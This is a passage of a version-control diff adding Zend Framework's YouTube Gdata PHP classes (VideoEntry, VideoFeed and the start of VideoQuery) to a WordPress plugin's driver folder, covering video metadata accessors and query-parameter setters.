+            $noEmbed = new Zend_Gdata_YouTube_Extension_NoEmbed();
+            $noEmbed->transferFromDOM($child);
+            $this->_noEmbed = $noEmbed;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'feedLink':
+            $feedLink = new Zend_Gdata_Extension_FeedLink();
+            $feedLink->transferFromDOM($child);
+            $this->_feedLink[] = $feedLink;
+            break;
+        case $this->lookupNamespace('georss') . ':' . 'where':
+            $where = new Zend_Gdata_Geo_Extension_GeoRssWhere();
+            $where->transferFromDOM($child);
+            $this->_where = $where;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'link';
+            $link = new Zend_Gdata_YouTube_Extension_Link();
+            $link->transferFromDOM($child);
+            $this->_link[] = $link;
+            break;
+        case $this->lookupNamespace('app') . ':' . 'control':
+            $control = new Zend_Gdata_YouTube_Extension_Control();
+            $control->transferFromDOM($child);
+            $this->_control = $control;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Sets when the video was recorded.
+     *
+     * @param Zend_Gdata_YouTube_Extension_Recorded $recorded When the video was recorded
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setRecorded($recorded = null)
+    {
+        $this->_recorded = $recorded;
+        return $this;
+    }
+
+    /**
+     * Gets the date that the video was recorded.
+     *
+     * @return Zend_Gdata_YouTube_Extension_Recorded|null
+     */
+    public function getRecorded()
+    {
+        return $this->_recorded;
+    }
+
+    /**
+     * Sets the location information.
+     *
+     * @param Zend_Gdata_YouTube_Extension_Location $location Where the video
+     *        was recorded
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setLocation($location = null)
+    {
+        $this->_location = $location;
+        return $this;
+    }
+
+    /**
+     * Gets the location where the video was recorded.
+     *
+     * @return Zend_Gdata_YouTube_Extension_Location|null
+     */
+    public function getLocation()
+    {
+        return $this->_location;
+    }
+
+    /**
+     * If an instance of Zend_Gdata_YouTube_Extension_NoEmbed is passed in,
+     * the video cannot be embedded.  Otherwise, if null is passsed in, the
+     * video is able to be embedded.
+     *
+     * @param Zend_Gdata_YouTube_Extension_NoEmbed $noEmbed Whether or not the
+     *          video can be embedded.
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setNoEmbed($noEmbed = null)
+    {
+        $this->_noEmbed = $noEmbed;
+        return $this;
+    }
+
+    /**
+     * If the return value is an instance of
+     * Zend_Gdata_YouTube_Extension_NoEmbed, this video cannot be embedded.
+     *
+     * @return Zend_Gdata_YouTube_Extension_NoEmbed|null Whether or not the video can be embedded
+     */
+    public function getNoEmbed()
+    {
+        return $this->_noEmbed;
+    }
+
+    /**
+     * Checks whether the video is embeddable.
+     *
+     * @return bool Returns true if the video is embeddable.
+     */
+    public function isVideoEmbeddable()
+    {
+        if ($this->getNoEmbed() == null) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Sets the statistics relating to the video.
+     *
+     * @param Zend_Gdata_YouTube_Extension_Statistics $statistics The statistics relating to the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setStatistics($statistics = null)
+    {
+        $this->_statistics = $statistics;
+        return $this;
+    }
+
+    /**
+     * Returns the statistics relating to the video.
+     *
+     * @return Zend_Gdata_YouTube_Extension_Statistics  The statistics relating to the video
+     */
+    public function getStatistics()
+    {
+        return $this->_statistics;
+    }
+
+    /**
+     * Specifies that the video has racy content.
+     *
+     * @param Zend_Gdata_YouTube_Extension_Racy $racy The racy flag object
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setRacy($racy = null)
+    {
+        if ($this->getMajorProtocolVersion() == 2) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException(
+                'Calling getRacy() on a YouTube VideoEntry is deprecated ' .
+                'as of version 2 of the API.');
+        }
+
+        $this->_racy = $racy;
+        return $this;
+    }
+
+    /**
+     * Returns the racy flag object.
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_Racy|null  The racy flag object
+     */
+    public function getRacy()
+    {
+        if ($this->getMajorProtocolVersion() == 2) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException(
+                'Calling getRacy() on a YouTube VideoEntry is deprecated ' .
+                'as of version 2 of the API.');
+        }
+        return $this->_racy;
+    }
+
+    /**
+     * Sets the rating relating to the video.
+     *
+     * @param Zend_Gdata_Extension_Rating $rating The rating relating to the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setRating($rating = null)
+    {
+        $this->_rating = $rating;
+        return $this;
+    }
+
+    /**
+     * Returns the rating relating to the video.
+     *
+     * @return Zend_Gdata_Extension_Rating  The rating relating to the video
+     */
+    public function getRating()
+    {
+        return $this->_rating;
+    }
+
+    /**
+     * Sets the comments relating to the video.
+     *
+     * @param Zend_Gdata_Extension_Comments $comments The comments relating to the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setComments($comments = null)
+    {
+        $this->_comments = $comments;
+        return $this;
+    }
+
+    /**
+     * Returns the comments relating to the video.
+     *
+     * @return Zend_Gdata_Extension_Comments  The comments relating to the video
+     */
+    public function getComments()
+    {
+        return $this->_comments;
+    }
+
+    /**
+     * Sets the array of embedded feeds related to the video
+     *
+     * @param array $feedLink The array of embedded feeds relating to the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setFeedLink($feedLink = null)
+    {
+        $this->_feedLink = $feedLink;
+        return $this;
+    }
+
+    /**
+     * Get the feed link property for this entry.
+     *
+     * @see setFeedLink
+     * @param string $rel (optional) The rel value of the link to be found.
+     *          If null, the array of links is returned.
+     * @return mixed If $rel is specified, a Zend_Gdata_Extension_FeedLink
+     *          object corresponding to the requested rel value is returned
+     *          if found, or null if the requested value is not found. If
+     *          $rel is null or not specified, an array of all available
+     *          feed links for this entry is returned, or null if no feed
+     *          links are set.
+     */
+    public function getFeedLink($rel = null)
+    {
+        if ($rel == null) {
+            return $this->_feedLink;
+        } else {
+            foreach ($this->_feedLink as $feedLink) {
+                if ($feedLink->rel == $rel) {
+                    return $feedLink;
+                }
+            }
+            return null;
+        }
+    }
+
+    /**
+     * Returns the link element relating to video responses.
+     *
+     * @return Zend_Gdata_App_Extension_Link
+     */
+    public function getVideoResponsesLink()
+    {
+        return $this->getLink(Zend_Gdata_YouTube::VIDEO_RESPONSES_REL);
+    }
+
+    /**
+     * Returns the link element relating to video ratings.
+     *
+     * @return Zend_Gdata_App_Extension_Link
+     */
+    public function getVideoRatingsLink()
+    {
+        return $this->getLink(Zend_Gdata_YouTube::VIDEO_RATINGS_REL);
+    }
+
+    /**
+     * Returns the link element relating to video complaints.
+     *
+     * @return Zend_Gdata_App_Extension_Link
+     */
+    public function getVideoComplaintsLink()
+    {
+        return $this->getLink(Zend_Gdata_YouTube::VIDEO_COMPLAINTS_REL);
+    }
+
+    /**
+     * Gets the YouTube video ID based upon the atom:id value
+     *
+     * @return string The video ID
+     */
+    public function getVideoId()
+    {
+        if ($this->getMajorProtocolVersion() == 2) {
+            $videoId = $this->getMediaGroup()->getVideoId()->text;
+        } else {
+            $fullId = $this->getId()->getText();
+            $position = strrpos($fullId, '/');
+            if ($position === false) {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception(
+                    'Slash not found in atom:id of ' . $fullId);
+            } else {
+                $videoId = substr($fullId, $position + 1);
+            }
+        }
+        return $videoId;
+    }
+
+    /**
+     * Gets the date that the video was recorded.
+     *
+     * @return string|null The date that the video was recorded
+     */
+    public function getVideoRecorded()
+    {
+        $recorded = $this->getRecorded();
+        if ($recorded != null) {
+          return $recorded->getText();
+        } else {
+          return null;
+        }
+    }
+
+    /**
+     * Sets the date that the video was recorded.
+     *
+     * @param string $recorded The date that the video was recorded, in the
+     *          format of '2001-06-19'
+     */
+    public function setVideoRecorded($recorded)
+    {
+        $this->setRecorded(
+            new Zend_Gdata_YouTube_Extension_Recorded($recorded));
+        return $this;
+    }
+
+    /**
+     * Gets the georss:where element
+     *
+     * @return Zend_Gdata_Geo_Extension_GeoRssWhere
+     */
+    public function getWhere()
+    {
+        return $this->_where;
+    }
+
+    /**
+     * Sets the georss:where element
+     *
+     * @param Zend_Gdata_Geo_Extension_GeoRssWhere $value The georss:where class value
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setWhere($value)
+    {
+        $this->_where = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the title of the video as a string.  null is returned
+     * if the video title is not available.
+     *
+     * @return string|null The title of the video
+     */
+    public function getVideoTitle()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        if ($this->getMediaGroup()->getTitle() != null) {
+            return $this->getMediaGroup()->getTitle()->getText();
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the title of the video as a string.
+     *
+     * @param string $title Title for the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setVideoTitle($title)
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $this->getMediaGroup()->setTitle(
+            new Zend_Gdata_Media_Extension_MediaTitle($title));
+        return $this;
+    }
+
+    /**
+     * Sets the description of the video as a string.
+     *
+     * @param string $description Description for the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setVideoDescription($description)
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $this->getMediaGroup()->setDescription(
+            new Zend_Gdata_Media_Extension_MediaDescription($description));
+        return $this;
+    }
+
+
+    /**
+     * Gets the description  of the video as a string.  null is returned
+     * if the video description is not available.
+     *
+     * @return string|null The description of the video
+     */
+    public function getVideoDescription()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        if ($this->getMediaGroup()->getDescription() != null) {
+            return $this->getMediaGroup()->getDescription()->getText();
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets the URL of the YouTube video watch page.  null is returned
+     * if the video watch page URL is not available.
+     *
+     * @return string|null The URL of the YouTube video watch page
+     */
+    public function getVideoWatchPageUrl()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        if ($this->getMediaGroup()->getPlayer() != null &&
+             array_key_exists(0, $this->getMediaGroup()->getPlayer())) {
+            $players = $this->getMediaGroup()->getPlayer();
+            return $players[0]->getUrl();
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets an array of the thumbnails representing the video.
+     * Each thumbnail is an element of the array, and is an
+     * array of the thumbnail properties - time, height, width,
+     * and url.  For convient usage inside a foreach loop, an
+     * empty array is returned if there are no thumbnails.
+     *
+     * @return array An array of video thumbnails.
+     */
+    public function getVideoThumbnails()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        if ($this->getMediaGroup()->getThumbnail() != null) {
+
+            $thumbnailArray = array();
+
+            foreach ($this->getMediaGroup()->getThumbnail() as $thumbnailObj) {
+                $thumbnail = array();
+                $thumbnail['time'] = $thumbnailObj->time;
+                $thumbnail['height'] = $thumbnailObj->height;
+                $thumbnail['width'] = $thumbnailObj->width;
+                $thumbnail['url'] = $thumbnailObj->url;
+                $thumbnailArray[] = $thumbnail;
+            }
+            return $thumbnailArray;
+        } else {
+            return array();
+        }
+    }
+
+    /**
+     * Gets the URL of the flash player SWF.  null is returned if the
+     * duration value is not available.
+     *
+     * @return string|null The URL of the flash player SWF
+     */
+    public function getFlashPlayerUrl()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        foreach ($this->getMediaGroup()->getContent() as $content) {
+                if ($content->getType() === 'application/x-shockwave-flash') {
+                    return $content->getUrl();
+                }
+            }
+        return null;
+    }
+
+    /**
+     * Gets the duration of the video, in seconds.  null is returned
+     * if the duration value is not available.
+     *
+     * @return string|null The duration of the video, in seconds.
+     */
+    public function getVideoDuration()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        if ($this->getMediaGroup()->getDuration() != null) {
+            return $this->getMediaGroup()->getDuration()->getSeconds();
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Checks whether the video is private.
+     *
+     * @return bool Return true if video is private
+     */
+    public function isVideoPrivate()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        if ($this->getMediaGroup()->getPrivate() != null) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Sets video to private.
+     *
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setVideoPrivate()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $this->getMediaGroup()->setPrivate(new Zend_Gdata_YouTube_Extension_Private());
+        return $this;
+    }
+
+    /**
+     * Sets a private video to be public.
+     *
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setVideoPublic()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $this->getMediaGroup()->private = null;
+        return $this;
+    }
+
+    /**
+     * Gets an array of the tags assigned to this video.  For convient
+     * usage inside a foreach loop, an empty array is returned when there
+     * are no tags assigned.
+     *
+     * @return array An array of the tags assigned to this video
+     */
+    public function getVideoTags()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        if ($this->getMediaGroup()->getKeywords() != null) {
+
+            $keywords = $this->getMediaGroup()->getKeywords();
+            $keywordsString = $keywords->getText();
+            if (strlen(trim($keywordsString)) > 0) {
+                return split('(, *)|,', $keywordsString);
+            }
+        }
+        return array();
+    }
+
+    /**
+     * Sets the keyword tags for a video.
+     *
+     * @param mixed $tags Either a comma-separated string or an array
+     * of tags for the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setVideoTags($tags)
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $keywords = new Zend_Gdata_Media_Extension_MediaKeywords();
+        if (is_array($tags)) {
+            $tags = implode(', ', $tags);
+        }
+        $keywords->setText($tags);
+        $this->getMediaGroup()->setKeywords($keywords);
+        return $this;
+    }
+
+    /**
+     * Gets the number of views for this video.  null is returned if the
+     * number of views is not available.
+     *
+     * @return string|null The number of views for this video
+     */
+    public function getVideoViewCount()
+    {
+        if ($this->getStatistics() != null) {
+            return $this->getStatistics()->getViewCount();
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets the location specified for this video, if available.  The location
+     * is returned as an array containing the keys 'longitude' and 'latitude'.
+     * null is returned if the location is not available.
+     *
+     * @return array|null The location specified for this video
+     */
+    public function getVideoGeoLocation()
+    {
+        if ($this->getWhere() != null &&
+            $this->getWhere()->getPoint() != null &&
+            ($position = $this->getWhere()->getPoint()->getPos()) != null) {
+
+            $positionString = $position->__toString();
+
+            if (strlen(trim($positionString)) > 0) {
+                $positionArray = explode(' ', trim($positionString));
+                if (count($positionArray) == 2) {
+                    $returnArray = array();
+                    $returnArray['latitude'] = $positionArray[0];
+                    $returnArray['longitude'] = $positionArray[1];
+                    return $returnArray;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets the rating information for this video, if available.  The rating
+     * is returned as an array containing the keys 'average' and 'numRaters'.
+     * null is returned if the rating information is not available.
+     *
+     * @return array|null The rating information for this video
+     */
+    public function getVideoRatingInfo()
+    {
+        if ($this->getRating() != null) {
+            $returnArray = array();
+            $returnArray['average'] = $this->getRating()->getAverage();
+            $returnArray['numRaters'] = $this->getRating()->getNumRaters();
+            return $returnArray;
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets the category of this video, if available.  The category is returned
+     * as a string. Valid categories are found at:
+     * http://gdata.youtube.com/schemas/2007/categories.cat
+     * If the category is not set, null is returned.
+     *
+     * @return string|null The category of this video
+     */
+    public function getVideoCategory()
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $categories = $this->getMediaGroup()->getCategory();
+        if ($categories != null) {
+            foreach($categories as $category) {
+                if ($category->getScheme() == self::YOUTUBE_CATEGORY_SCHEMA) {
+                    return $category->getText();
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Sets the category of the video as a string.
+     *
+     * @param string $category Categories for the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setVideoCategory($category)
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $this->getMediaGroup()->setCategory(array(new Zend_Gdata_Media_Extension_MediaCategory($category, self::YOUTUBE_CATEGORY_SCHEMA)));
+        return $this;
+    }
+
+    /**
+     * Gets the developer tags for the video, if available and if client is
+     * authenticated with a valid developerKey. The tags are returned
+     * as an array.
+     * If no tags are set, null is returned.
+     *
+     * @return array|null The developer tags for this video or null if none were set.
+     */
+    public function getVideoDeveloperTags()
+    {
+        $developerTags = null;
+        $this->ensureMediaGroupIsNotNull();
+
+        $categoryArray = $this->getMediaGroup()->getCategory();
+        if ($categoryArray != null) {
+            foreach ($categoryArray as $category) {
+                if ($category instanceof Zend_Gdata_Media_Extension_MediaCategory) {
+                    if ($category->getScheme() == self::YOUTUBE_DEVELOPER_TAGS_SCHEMA) {
+                        $developerTags[] = $category->getText();
+                    }
+                }
+            }
+            return $developerTags;
+        }
+        return null;
+    }
+
+    /**
+     * Adds a developer tag to array of tags for the video.
+     *
+     * @param string $developerTag DeveloperTag for the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function addVideoDeveloperTag($developerTag)
+    {
+        $this->ensureMediaGroupIsNotNull();
+        $newCategory = new Zend_Gdata_Media_Extension_MediaCategory($developerTag, self::YOUTUBE_DEVELOPER_TAGS_SCHEMA);
+
+        if ($this->getMediaGroup()->getCategory() == null) {
+            $this->getMediaGroup()->setCategory($newCategory);
+        } else {
+            $categories = $this->getMediaGroup()->getCategory();
+            $categories[] = $newCategory;
+            $this->getMediaGroup()->setCategory($categories);
+        }
+        return $this;
+    }
+
+    /**
+     * Set multiple developer tags for the video as strings.
+     *
+     * @param array $developerTags Array of developerTag for the video
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface
+     */
+    public function setVideoDeveloperTags($developerTags)
+    {
+        foreach($developerTags as $developerTag) {
+            $this->addVideoDeveloperTag($developerTag);
+        }
+        return $this;
+    }
+
+
+    /**
+     * Get the current publishing state of the video.
+     *
+     * @return Zend_Gdata_YouTube_Extension_State|null The publishing state of this video
+     */
+    public function getVideoState()
+    {
+        $control = $this->getControl();
+        if ($control != null &&
+            $control->getDraft() != null &&
+            $control->getDraft()->getText() == 'yes') {
+
+            return $control->getState();
+        }
+        return null;
+    }
+
+    /**
+     * Get the VideoEntry's Zend_Gdata_YouTube_Extension_MediaGroup object.
+     * If the mediaGroup does not exist, then set it.
+     *
+     * @return void
+     */
+    public function ensureMediaGroupIsNotNull()
+    {
+        if ($this->getMediagroup() == null) {
+            $this->setMediagroup(new Zend_Gdata_YouTube_Extension_MediaGroup());
+        }
+    }
+
+    /**
+     * Helper function to conveniently set a video's rating.
+     *
+     * @param integer $ratingValue A number representing the rating. Must
+     *          be between 1 and 5 inclusive.
+     * @throws Zend_Gdata_Exception
+     * @return Zend_Gdata_YouTube_VideoEntry Provides a fluent interface.
+     */
+    public function setVideoRating($ratingValue)
+    {
+        if ($ratingValue < 1 || $ratingValue > 5) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                'Rating for video entry must be between 1 and 5 inclusive.');
+        }
+
+         require_once 'Zend/Gdata/Extension/Rating.php';
+         $rating = new Zend_Gdata_Extension_Rating(null, 1, 5, null,
+            $ratingValue);
+        $this->setRating($rating);
+        return $this;
+    }
+
+    /**
+     * Retrieve the URL for a video's comment feed.
+     *
+     * @return string|null The URL if found, or null if not found.
+     */
+    public function getVideoCommentFeedUrl()
+    {
+        $commentsExtension = $this->getComments();
+        $commentsFeedUrl = null;
+        if ($commentsExtension) {
+            $commentsFeedLink = $commentsExtension->getFeedLink();
+            if ($commentsFeedLink) {
+                $commentsFeedUrl = $commentsFeedLink->getHref();
+            }
+        }
+        return $commentsFeedUrl;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoFeed.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Feed
+ */
+require_once 'Zend/Gdata/Media/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_VideoEntry
+ */
+require_once 'Zend/Gdata/YouTube/VideoEntry.php';
+
+/**
+ * The YouTube video flavor of an Atom Feed with media support
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_VideoFeed extends Zend_Gdata_Media_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_VideoEntry';
+
+    /**
+     * Creates a Video feed, representing a list of videos
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoQuery.php	(revision 44)
@@ -0,0 +1,539 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_YouTube
+ */
+require_once('Zend/Gdata/YouTube.php');
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for YouTube videos
+ *
+ * @link http://code.google.com/apis/youtube/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_VideoQuery extends Zend_Gdata_Query
+{
+
+    /**
+     * Create Gdata_YouTube_VideoQuery object
+     */
+    public function __construct($url = null)
+    {
+        parent::__construct($url);
+    }
+
+    /**
+     * Sets the type of feed this query should be used to search
+     *
+     * @param string $feedType The type of feed
+     * @param string $videoId The ID of the video associated with this query
+     * @param string $entry The ID of the entry associated with this query
+     */
+    public function setFeedType($feedType, $videoId = null, $entry = null)
+    {
+        switch ($feedType) {
+        case 'top rated':
+            $this->_url = Zend_Gdata_YouTube::STANDARD_TOP_RATED_URI;
+            break;
+        case 'most viewed':
+            $this->_url = Zend_Gdata_YouTube::STANDARD_MOST_VIEWED_URI;
+            break;
+        case 'recently featured':
+            $this->_url = Zend_Gdata_YouTube::STANDARD_RECENTLY_FEATURED_URI;
+            break;
+        case 'mobile':
+            $this->_url = Zend_Gdata_YouTube::STANDARD_WATCH_ON_MOBILE_URI;
+            break;
+        case 'related':
+            if ($videoId === null) {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Video ID must be set for feed of type: ' . $feedType);
+            } else {
+                $this->_url = Zend_Gdata_YouTube::VIDEO_URI . '/' . $videoId .
+                    '/related';
+            }
+            break;
+        case 'responses':
+            if ($videoId === null) {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_Exception(
+                    'Video ID must be set for feed of type: ' . $feedType);
+            } else {
+                $this->_url = Zend_Gdata_YouTube::VIDEO_URI . '/' . $videoId .
+                    'responses';
+            }
+            break;
+        case 'comments':
+            if ($videoId === null) {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_Exception(
+                    'Video ID must be set for feed of type: ' . $feedType);
+            } else {
+                $this->_url = Zend_Gdata_YouTube::VIDEO_URI . '/' .
+                    $videoId . 'comments';
+                if ($entry !== null) {
+                    $this->_url .= '/' . $entry;
+                }
+            }
+            break;
+        default:
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('Unknown feed type');
+            break;
+        }
+    }
+
+    /**
+     * Sets the location parameter for the query
+     *
+     * @param string $value
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setLocation($value)
+    {
+        switch($value) {
+            case null:
+                unset($this->_params['location']);
+            default:
+                $parameters = explode(',', $value);
+                if (count($parameters) != 2) {
+                    require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                    throw new Zend_Gdata_App_InvalidArgumentException(
+                        'You must provide 2 coordinates to the location ' .
+                        'URL parameter');
+                }
+
+                foreach($parameters as $param) {
+                    $temp = trim($param);
+                    // strip off the optional exclamation mark for numeric check
+                    if (substr($temp, -1) == '!') {
+                        $temp = substr($temp, -1);
+                    }
+                    if (!is_numeric($temp)) {
+                        require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                        throw new Zend_Gdata_App_InvalidArgumentException(
+                            'Value provided to location parameter must' .
+                            ' be in the form of two coordinates');
+                    }
+                }
+                $this->_params['location'] = $value;
+        }
+    }
+
+    /**
+     * Get the value of the location parameter
+     *
+     * @return string|null Return the location if it exists, null otherwise.
+     */
+    public function getLocation()
+    {
+        if (array_key_exists('location', $this->_params)) {
+            return $this->_params['location'];
+        } else {
+            return null;
+        }
+    }
+
+
+    /**
+     * Sets the location-radius parameter for the query
+     *
+     * @param string $value
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setLocationRadius($value)
+    {
+        switch($value) {
+        	case null:
+                unset($this->_params['location-radius']);
+            default:
+                $this->_params['location-radius'] = $value;
+        }
+    }
+
+    /**
+     * Get the value of the location-radius parameter
+     *
+     * @return string|null Return the location-radius if it exists,
+     * null otherwise.
+     */
+    public function getLocationRadius()
+    {
+        if (array_key_exists('location-radius', $this->_params)) {
+            return $this->_params['location-radius'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the time period over which this query should apply
+     *
+     * @param string $value
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setTime($value = null)
+    {
+        switch ($value) {
+            case 'today':
+                $this->_params['time'] = 'today';
+                break;
+            case 'this_week':
+                $this->_params['time'] = 'this_week';
+                break;
+            case 'this_month':
+                $this->_params['time'] = 'this_month';
+                break;
+            case 'all_time':
+                $this->_params['time'] = 'all_time';
+                break;
+            case null:
+                unset($this->_params['time']);
+            default:
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Unknown time value');
+                break;
+        }
+        return $this;
+    }
+
+    /**
+     * Sets the value of the uploader parameter
+     *
+     * @param string $value The value of the uploader parameter. Currently this
+     *        can only be set to the value of 'partner'.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setUploader($value = null)
+    {
+        switch ($value) {
+            case 'partner':
+                $this->_params['uploader'] = 'partner';
+                break;
+            case null:
+                unset($this->_params['uploader']);
+                break;
+            default:
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Unknown value for uploader');
+        }
+        return $this;
+    }
+
+    /**
+     * Sets the formatted video query (vq) URL param value
+     *
+     * @param string $value
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setVideoQuery($value = null)
+    {
+        if ($value != null) {
+            $this->_params['vq'] = $value;
+        } else {
+            unset($this->_params['vq']);
+        }
+        return $this;
+    }
+
+    /**
+     * Sets the param to return videos of a specific format
+     *
+     * @param string $value
+     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
+     */
+    public function setFormat($value = null)
+    {
+        if ($value != null) {
+            $this->_params['format'] = $value;
